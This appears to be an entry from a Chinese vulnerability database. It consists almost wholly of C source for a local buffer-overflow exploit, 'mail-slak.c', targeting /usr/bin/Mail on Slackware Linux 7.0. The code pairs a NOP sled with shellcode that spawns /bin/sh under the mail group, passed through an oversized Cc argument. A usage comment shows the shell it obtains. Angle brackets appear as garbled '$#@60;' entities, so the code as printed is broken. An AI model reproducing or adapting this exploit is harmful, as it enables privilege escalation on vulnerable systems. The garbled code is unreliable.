漏 洞 描 述:

漏洞测试程序如下：
/*
* mail-slak.c (C) 2000 Paulo Ribeiro $#@60;prrar@nitnet.com.br$#@62;
*
* Exploit for /usr/bin/Mail.
* Made specially for Slackware Linux 7.0.
* Based on mailx.c by funkySh.
*
* OBS.: Without fprintf(stderr) is not possible to print the message.
*
* USAGE:
* slack$ ./mail-slak
* type . and enter: .
* Cc: too long to edit
* sh-2.03$ id
* uid=1000(user) gid=12(mail) groups=100(users)
*/

#include $#@60;stdio.h$#@62;
#include $#@60;stdlib.h$#@62;
#include $#@60;unistd.h$#@62;

char buffer[10000];
char shellcode[] =
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31"

"\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1"

"\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"

"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"

"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long getesp(void)
{
__asm__("movl %esp,%eax");
}

int main(int argc, char **argv)
{
int x;
long addr = getesp() - 18000;

memset(buffer, 0x90, 10000);
memcpy(buffer + 800, shellcode, strlen(shellcode));

for(x = 876; x $#@60; 9998; x += 4)
*(int *)&buffer[x] = addr;

fprintf(stderr, "type . and enter: ");

execl("/usr/bin/Mail", "/usr/bin/Mail", "nobody", "-s",
"blah", "-c", buffer, 0);
}